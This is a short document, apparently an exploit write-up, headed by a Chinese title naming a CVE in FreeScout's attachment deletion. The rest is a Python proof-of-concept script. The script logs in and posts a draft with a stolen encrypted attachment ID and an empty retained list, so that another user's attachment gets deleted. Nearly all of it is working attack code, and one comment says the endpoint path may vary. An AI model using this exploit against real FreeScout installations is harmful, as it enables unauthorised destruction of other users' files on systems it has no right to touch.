CVE-2026-41192 FreeScout 附件删除漏洞

import requests # Configuration target_url = "https://example.com/freescout" login_email = "[email protected]" login_pass = "password" conversation_id = 123 # The encrypted ID obtained from viewing another user's conversation via load_attachments stolen_encrypted_id = "eyJpdiI6..." def login(): session = requests.Session() login_data = {"email": login_email, "password": login_pass} resp = session.post(f"{target_url}/login", data=login_data) if resp.status_code == 200: print("[+] Logged in successfully") return session return None def exploit_delete_attachment(session): # The vulnerability lies in the save_draft endpoint trusting the attachments_all parameter payload = { "conversation_id": conversation_id, "body": "This is a draft", "cc": "", "bcc": "", "attachments_all[]": [stolen_encrypted_id], # Malicious injection of stolen ID "attachments_retained": [] # Empty retained list forces deletion of IDs in 'all' } print(f"[*] Attempting to delete attachment using stolen ID: {stolen_encrypted_id}") resp = session.post(f"{target_url}/api/v1/drafts", data=payload) # Endpoint may vary based on implementation if resp.status_code == 200: print("[+] Request sent successfully. Check if attachment is deleted.") else: print(f"[-] Request failed with status {resp.status_code}") if __name__ == "__main__": s = login() if s: exploit_delete_attachment(s)